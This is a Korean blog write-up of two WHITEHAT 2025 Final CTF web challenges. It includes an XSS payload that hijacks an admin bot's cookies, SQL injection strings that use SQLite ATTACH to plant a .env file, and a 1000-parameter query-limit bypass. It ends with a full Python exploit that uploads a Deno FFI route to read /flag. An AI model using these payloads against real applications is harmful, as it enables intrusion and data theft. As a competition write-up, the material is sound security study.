WHITEHAT 2025 Final 후기
WHITEHAT 2025 Final Web Challenges Writeup
0x0. WHITEHAT 2025 Final
오랜만에 대회 본선을 뛰고 왔다. 국방부 대회라 그런지 용산역 옆에 있는 로카우스 호텔에서 했는데
군복입고도 안가본 곳을 민간인 돼서 가보니 좀 새로웠다. 호텔도 좋던데 한번 갈껄 그랬다
암튼 이번 화햇에서 흥미로운 웹 챌린지가 있었어서 정리한번 해보고자 한다.
- Chat Application
- Lemo
이 두 문제를 한번 풀어보겠다.
0x1. Chat Application
1. TL;DR
사용자가 메시지를 보낼 수 있는 채팅 애플리케이션에서 인라인 HTML 미리보기 기능의 XSS 를 이용하여 봇(Playwright)을 /logout/으로 로그아웃시켜 기존 쿠키를 제거한 후 username=admin 쿠키를 설정하고 /flag/ 엔드포인트에서 플래그를 가져와 og:description 메타 태그로 탈취하는 문제이다.
XSS → 봇 로그아웃 → admin 쿠키 설정 → 플래그 획득 → OG 태그로 탈취
2. Overview
Django Framework로 개발된 채팅 프로그램이다. /flag 에서 플래그를 획득할 수 있으며 요청은 localhost에서만 가능하고 username 쿠키가 admin이어야 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
def flag_view(request):
client_ip = request.META.get("REMOTE_ADDR", "") or ""
try:
is_loopback = ipaddress.ip_address(client_ip).is_loopback
except ValueError:
is_loopback = False
if not is_loopback:
return HttpResponseForbidden("Forbidden")
if request.COOKIES.get("username") != "admin":
return HttpResponseForbidden("Forbidden")
html = "whitehat2025{this_is_fake_flag}"
return HttpResponse(html, content_type="text/plain; charset=utf-8")
/api/send를 통해 보낸 메세지에 특정 HTML 태그가 존재한다면, https://127.0.0.1:8443/preview/view/[token]/경로에 해당 메세지를 저장하고, 봇이 URL을 방문한 후 OG 태그를 추출한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def api_send(request):
try:
last_ts = int(request.COOKIES.get(LASTMSG_COOKIE, "0"))
except ValueError:
last_ts = 0
now = int(timezone.now().timestamp())
if last_ts and (now - last_ts) < COOLDOWN_SECONDS:
retry_in = COOLDOWN_SECONDS - (now - last_ts)
return JsonResponse({"ok": False, "error": "cooldown", "retry_in": retry_in}, status=429)
form = MessageForm(request.POST)
if not form.is_valid():
return JsonResponse({"ok": False, "error": "invalid"}, status=400)
msg = form.cleaned_data["message"]
preview = build_preview_og_from_message(msg)
if preview:
reply = preview.get("title") or "[Preview]"
else:
try:
ix = int(request.POST.get("bot_ix", "0"))
except ValueError:
ix = 0
reply = rotate_line(ix)
resp = JsonResponse({"ok": True, "reply": reply, "preview": preview})
resp.set_cookie(LASTMSG_COOKIE, str(now), path="/", secure=True, httponly=True, samesite="Lax")
return resp
/preview/view/[token]경로에서 파일을 content_type="text/html;로 제공하므로 XSS가 발생한다.
1
2
3
4
5
6
7
8
9
def preview_view(request, token: str):
key = f"pv:{token}"
html = cache.get(key)
if not html:
raise Http404("expired or missing")
resp = HttpResponse(html, content_type="text/html; charset=utf-8")
resp["Cache-Control"] = "no-store"
resp["X-Robots-Tag"] = "noindex, nofollow, noarchive"
return resp
3. Exploit
이전에도 설명했다시피 플래그를 얻기 위해서는 봇이 username=admin으로 /flag에 요청하도록 해야한다.
그러나 봇은 이미 username=bot을 가지고 있고 HttpOnly가 걸려있어 document.cookie로 덮어쓸 수 없다.
1
2
3
4
5
6
7
8
context.add_cookies([{
"name": "username",
"value": "bot",
"url": "https://127.0.0.1",
"secure": True,
"httpOnly": True,
"sameSite": "Lax",
}])
따라서 한번 로그아웃 후에 /flag/ 경로로 설정된 쿠키를 설정해야한다.
그 후 /flag/ 경로 응답에서 플래그를 추출하여 <meta property="og:description"> 태그에 삽입하면 애플리케이션은 이 태그를 읽고 api_send 응답으로 플래그를 반환할 것이다.
4. Paylaod
특정 HMTL 태그가 필요하기에 <div> 태그를 사용하여 payload를 구성했다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<div>
<script>
fetch('/logout/').then(() => {
document.cookie = "username=admin; path=/flag/";
return fetch('/flag/');
})
.then(r => r.text())
.then(t => {
let meta = document.createElement('meta');
meta.setAttribute('property', 'og:description');
document.head.appendChild(meta);
meta.setAttribute('content', t);
});
</script>
</div>
5. Flag
위 페이로드를 채팅에 넣으면 플래그를 획득할 수 있다.
1
whitehat2025{b820883f8ea632fe2c817487c12fe38cf6df83ea55ddc4c4b764309faee2cc86}
어려운 문제는 아니어서 모든 팀에서 풀렸던 문제이다.
0x2. Lemo
1. TL;DR
여러가지 Rabbit Hole도 많고 방향을 찾기 힘들었던 문제다. 회원가입 기능에서 발생하는 SQL Injection으로 .env 파일과 Admin Credential을 만든 후 FFI를 통해 권한 밖의 디렉토리에서 /flag파일을 획득하는 문제이다.
2. Overview
Deno의 Fresh Framwork로 개발된 웹 어플리케이션이다. 사용자는 /api/admin/save 엔드포인트에서 routes디렉토리 내의 파일을 수정할 수 있다. 최종적으로 /flag를 읽어오도록 파일을 수정하면 해당 라우트에서 Flag를 획득할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// server/src/routes/api/admin/save.ts
export const handler: Handlers = {
async POST(req) {
try {
const formData = await req.formData();
const filepath = formData.get("filepath") as string;
const content = formData.get("content") as string;
if (!filepath || content === null) {
return new Response("", {
status: 302,
headers: { Location: "/admin?error=Missing required fields" },
});
}
const routesPath = join(Deno.cwd(), "routes");
const normalizedPath = normalize(join(routesPath, filepath));
if (!normalizedPath.startsWith(routesPath)) {
return new Response("", {
status: 302,
headers: { Location: "/admin?error=Invalid file path" },
});
}
await Deno.writeTextFile(normalizedPath, content);
return new Response("", {
status: 302,
headers: { Location: `/admin?file=${encodeURIComponent(filepath)}&success=File saved successfully` },
});
} catch (error) {
console.error("Error saving file:", error);
return new Response("", {
status: 302,
headers: { Location: "/admin?error=Failed to save file" },
});
}
},
};
하지만 /api/admin/* 경로는 미들웨어로 보호되고 있으며 ip === 127.0.0.1, NODE_ENV === "development" 두 조건을 만족시켜야 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// server/src/routes/api/admin/_middleware.ts
import type { FreshContext } from "$fresh/server.ts";
export async function handler(req: Request, ctx: FreshContext) {
ctx.state = ctx.state ?? {};
const ip = ctx.state.ip;
const NODE_ENV = Deno.env.get("NODE_ENV") ?? "production";
if (ip !== "127.0.0.1" || NODE_ENV !== "development") return new Response("403 Forbidden", { status: 403 });
return await ctx.next();
}
따라서 문제를 풀기 위해서는 admin 권한과 미들웨어 우회가 필요하다.
3. Get Admin Credential
일단 /api/admin/* 경로를 사용하기 위해 admin으로 로그인해보자.
1
2
3
4
5
export function createUser(username: string, password: string, role: Role = Role.USER) {
const result = db.exec(`INSERT INTO users (username, password, role) VALUES ('${username}', '${password}', ${role})`);
return result;
}
쉽다. createUser함수에서 SQL Injection 터진다.
1
admin', 'sha256("password")' , 1); -- a
이런식으로 payload 구성하면 admin/password으로 로그인 할 수 있다.
4. Bypass Middleware
미들웨어를 우회하기 위해서는 아래 두 조건을 성립시켜야 한다.
ip === 127.0.0.1NODE_ENV === "development"
하나하나 진행해보자.
조건 1
파라미터에 관련된 두 코드를 보면 아래와 같다.
1
2
3
4
5
6
7
// nginx/js/purify.js
function fix(r) {
for (var k in args) { ... }
out.push('ip=' + real_ip);
return out.join('&');
}
nginx 쪽에서 돌아가는 JS코드이고, 파라미터 맨 마지막에 ip=real_ip 를 붙여서 Fresh단으로 넘긴다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// server/src/routes/_middleware.ts
export async function handler(req: Request, ctx: FreshContext) {
ctx.state = ctx.state ?? {};
ctx.state.query = await parseQuery(req);
// parseQuery(): const parsed = qs.parse(rawQS) -> Parse Only 1000 param
if (ctx.state.query.ip) {
if (typeof ctx.state.query.ip !== "string") {
return new Response("400 Bad Request", { status: 400 });
}
ctx.state.ip = ctx.state.query.ip;
} else {
ctx.state.ip = "127.0.0.1";
}
return await ctx.next();
}
Fresh단의 모든 라우트에서 돌아가는 미들웨어이다. ip 이름을 가진 파라미터를 찾아 ctx.state.ip 값으로 넣는다. 만약에 ip 파라미터가 없다면 127.0.0.1으로 설정한다.
여기서 문제가 발생하는데, 파라미터를 파싱하는 parseQuery 함수 안의 qs.parse에서 문제가 발생한다. qs.parse를 분석해보면 디폴트 설정에서 파싱할 수 있는 총 파라미터 개수를 1000개로 제한한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// https://github.com/ljharb/qs/blob/v6.14.0/lib/parse.js#L24
...
var defaults = {
allowDots: false,
allowEmptyArrays: false,
allowPrototypes: false,
allowSparse: false,
arrayLimit: 20,
charset: 'utf-8',
charsetSentinel: false,
comma: false,
decodeDotInKeys: false,
decoder: utils.decode,
delimiter: '&',
depth: 5,
duplicates: 'combine',
ignoreQueryPrefix: false,
interpretNumericEntities: false,
parameterLimit: 1000, // parameter limit
parseArrays: true,
plainObjects: false,
strictDepth: false,
strictNullHandling: false,
throwOnLimitExceeded: false
};
...
그렇기 때문에 1000개의 더미 파라미터를 추가하면 purify.js가 1001번째로 붙이는 ip 파라미터는 무시되어 첫 번째 조건을 우회할 수 있다.
/api/admin/save?IP=127.0.0.1&%23=1"로도 우회가 가능하다.#으로 인해 뒤에 붙는ip파라미터가 잘린다. 또한purify.js에서 기존에ip라는 파라미터가 있으면 이를 삭제하기 때문에 대문자IP로 처리하면 조금 더 깔끔하게 우회 가능하다.
이렇게 되면 첫 번째 조건은 만족시킬 수 있다.
조건 2
1
2
3
4
5
6
7
8
9
10
11
// server/src/routes/api/admin/_middleware.ts
export async function handler(req: Request, ctx: FreshContext) {
ctx.state = ctx.state ?? {};
const ip = ctx.state.ip;
const NODE_ENV = Deno.env.get("NODE_ENV") ?? "production";
if (ip !== "127.0.0.1" || NODE_ENV !== "development") return new Response("403 Forbidden", { status: 403 });
return await ctx.next();
}
/api/admin/* 쪽 미들웨어 코드를 다시 보면 환경변수 NODE_ENV값을 가져오며 빈 값일때는 production으로 설정된다. 이 챌린지에서는 NODE_ENV값을 설정하지 않기에 production으로 자동으로 설정되어있다. 이제 이것을 development 으로 바꿔줘야 하는데, 여기서 좀 재밌는 아이디어가 필요하다.
1
2
3
4
// server/src/main.ts
import "$std/dotenv/load.ts";
...
main.ts를 보면 dotenv로 환경변수를 로드한다. 문제에 .env 파일이 존재하지 않으니, 직접 만들어주면 우회할 수 있을 것 같다. 이를 가능하게 하는 명령어가 있다.
Attachment 명령어
연결된 데이터베이스 세션에 다른 데이터베이스 파일을 추가로 연결할 때 사용
ex. ATTACH DATABASE ‘second.db’ AS db2;
이걸 사용하면, .env 파일을 만들어줄 수 있다. 아래 Paylaod를 보자.
1
2
3
ATTACH DATABASE '/app/.env' AS e;
CREATE TABLE e.c (v TEXT);
INSERT INTO e.c VALUES (char(10) || 'NODE_ENV=development');
.env파일을 만들어 e라는 별칭 생성.env데이터베이스 파일에 c라는 테이블 생성- 해당 테이블에
NODE_ENV=development값 넣음
SQLite 파일은 바이너리이기에 dotenv가 파싱 하지 못하지만 char(10) (개행문자)를 맨 앞에 추가해 파싱 가능하게 할 수 있다. (직접 라이브러리를 까보면 알 수 있다)
여기서 끝이 아니다. 런타임중에 .env파일을 만들어봤자 Fresh는 읽어올 수 없다.
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"lock": false,
"tasks": {
"check": "deno fmt --check && deno lint && deno check **/*.ts && deno check **/*.tsx",
"cli": "echo \"import '\\$fresh/src/dev/cli.ts'\" | deno run --unstable -A -",
"manifest": "deno task cli manifest $(pwd)",
"start": "deno run -A --watch=static/,routes/ dev.ts",
"build": "deno run -A dev.ts build",
"preview": "deno run --allow-net --allow-ffi --allow-env --allow-read=. --allow-write=routes/ --watch=routes/ main.ts",
"update": "deno run -A -r https://fresh.deno.dev/update ."
}
...
}
server/src/deno.json 파일을 읽어보면 start 부분에 routes/* 경로의 파일이 변경되면 컨테이너를 재시작하는 것을 알 수 있다. 위와 같은 방법으로 ATTACH 명령어를 사용해 서버를 재부팅해주면 드디어 환경변수 NODE_ENV=development를 dotenv가 인식할 수 있다.
이렇게 모든 조건을 만족시켰으니 이제 플래그만 획득하면 될 줄 알았으나….
5. FFI
플래그 획득을 위해서는 한 단계가 더 남았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"lock": false,
"tasks": {
"check": "deno fmt --check && deno lint && deno check **/*.ts && deno check **/*.tsx",
"cli": "echo \"import '\\$fresh/src/dev/cli.ts'\" | deno run --unstable -A -",
"manifest": "deno task cli manifest $(pwd)",
"start": "deno run -A --watch=static/,routes/ dev.ts",
"build": "deno run -A dev.ts build",
"preview": "deno run --allow-net --allow-ffi --allow-env --allow-read=. --allow-write=routes/ --watch=routes/ main.ts",
"update": "deno run -A -r https://fresh.deno.dev/update ."
}
...
}
deno 설정파일의 preview를 다시보면 파일 읽고 쓰기 권한을 routes/ 디렉토리에만 줬다. 따라서 routes에 존재하는 파일을 수정하여 /app/flag를 읽어오게 하더라도 권한이 없어 읽을 수 없다. 그러나 --allow-ffi 권한은 있는 것을 볼 수 있다.
따라서 FFI로 /flag를 읽어와야 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import { Handlers } from "$fresh/server.ts";
export const handler: Handlers = {
GET(req, ctx) {
try {
const libc = Deno.dlopen("/lib/x86_64-linux-gnu/libc.so.6", {
open: { parameters: ["buffer", "i32"], result: "i32" },
read: { parameters: ["i32", "buffer", "usize"], result: "isize" },
close: { parameters: ["i32"], result: "i32" },
});
const path = new TextEncoder().encode("/flag\0");
const O_RDONLY = 0;
const fd = libc.symbols.open(path, O_RDONLY);
if (fd >= 0) {
const buf = new Uint8Array(100);
const n = libc.symbols.read(fd, buf, buf.length);
libc.symbols.close(fd);
const flag = new TextDecoder().decode(buf.slice(0, Number(n)));
return ctx.render({ flag });
}
return ctx.render({ flag: "Failed to open /flag" });
} catch (e) {
return ctx.render({ flag: "ERROR: " + String(e) });
}
}
};
export default function P({ data }) {
return <div><h1>{data.flag}</h1></div>;
}
- Deno.dlopen()으로 libc.so.6 로드
- open(“/flag”, O_RDONLY) -> file descriptor 반환
- read(fd, buffer, size) -> 파일 내용 버퍼로 읽기
- close(fd) -> 파일 닫기
- Deno의 –allow-read 권한 체크 없이 직접 시스템 콜 실행
이제야 플래그를 획득할 수 있었다.
6. Exploit
최종 익스플로잇은 아래 단계를 거쳐야한다.
- SQL Injection으로
.env파일 생성 - 서버 재시작 트리거
- Admin 계정 생성
- IP 우회 + Admin API 접근
- FFI로 /flag 획득.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import requests, hashlib, time, re
URL = "http://15.165.231.109"
# 1. .env 생성
s1 = requests.Session()
pwd1 = hashlib.sha256("user1".encode()).hexdigest()
u1 = f"user1', '{pwd1}', 0); ATTACH DATABASE '/app/.env' AS e; CREATE TABLE e.c (v TEXT); INSERT INTO e.c VALUES (char(10) || 'NODE_ENV=development'); --"
s1.post(f"{URL}/api/signup", data={"username": u1, "password": "password", "password_confirm": "password"})
print("[+] .env created")
# 2. 재시작
s2 = requests.Session()
pwd2 = hashlib.sha256("user2".encode()).hexdigest()
u2 = f"user2', '{pwd2}', 0); ATTACH DATABASE '/app/routes/restart.txt' AS t; CREATE TABLE t.x (y TEXT); --"
s2.post(f"{URL}/api/signup", data={"username": u2, "password": "password", "password_confirm": "password"})
print("[+] Restart triggered, wait 5 sec")
time.sleep(5)
# 3. Admin
s3 = requests.Session()
pwd3 = hashlib.sha256("adminPassword".encode()).hexdigest()
u3 = f"adminUser', '{pwd3}', 1); --"
s3.post(f"{URL}/api/signup", data={"username": u3, "password": "password", "password_confirm": "password"})
s3.post(f"{URL}/api/login", data={"username": "adminUser", "password": "adminPassword"})
print("[+] Admin logged in")
# 4. FFI exploit
params = "&".join([f"p{i}=" for i in range(1000)])
code = '''import { Handlers } from "$fresh/server.ts";
export const handler: Handlers = {
GET(req, ctx) {
try {
const libc = Deno.dlopen("/lib/x86_64-linux-gnu/libc.so.6", {
open: { parameters: ["buffer", "i32"], result: "i32" },
read: { parameters: ["i32", "buffer", "usize"], result: "isize" },
close: { parameters: ["i32"], result: "i32" },
});
const path = new TextEncoder().encode("/flag\\0");
const fd = libc.symbols.open(path, 0);
if (fd >= 0) {
const buf = new Uint8Array(100);
const n = libc.symbols.read(fd, buf, buf.length);
libc.symbols.close(fd);
const flag = new TextDecoder().decode(buf.slice(0, Number(n)));
return ctx.render({ flag });
}
return ctx.render({ flag: "Failed to open /flag" });
} catch (e) {
return ctx.render({ flag: "ERROR: " + String(e) });
}
}
};
export default function P({ data }) {
return <div><h1>{data.flag}</h1></div>;
}'''
s3.post(f"{URL}/api/admin/save?{params}", data={"filepath": "mypage.tsx", "content": code})
print("[+] Flag reader uploaded, wait 5 sec")
time.sleep(5)
# 5. Flag
res = s3.get(f"{URL}/mypage")
flag = re.search(r'whitehat2025\{[^}]+\}', res.text)
print(f"[+] FLAG: {flag.group()}")
1
2
3
4
5
[+] .env created
[+] Restart triggered, wait 5 sec
[+] Admin logged in
[+] Flag reader uploaded, wait 5 sec
[+] FLAG: whitehat2025{9584eeed890b0b6c68ec1136d009d41504be65c970ee77cce7223ec2f49f3dc6}
최종적으로 플래그를 획득할 수 있다.
0x3. 후기
결론적으로 재밌었다… 모든 웹 문제를 전체 참가자 기준으로 퍼스트 블러드를 냈고, 내년이면 졸업이라 대학부로 출전할 수 있는 마지막 기회여서 후회 없이 했다.
다만 웹을 다 풀고 나니 실직해버려서 다른 분야의 공부의 필요성도 느꼈다. 최종적으로 높은 등수는 팀원들 모두 좋은 경험이었던 것다.



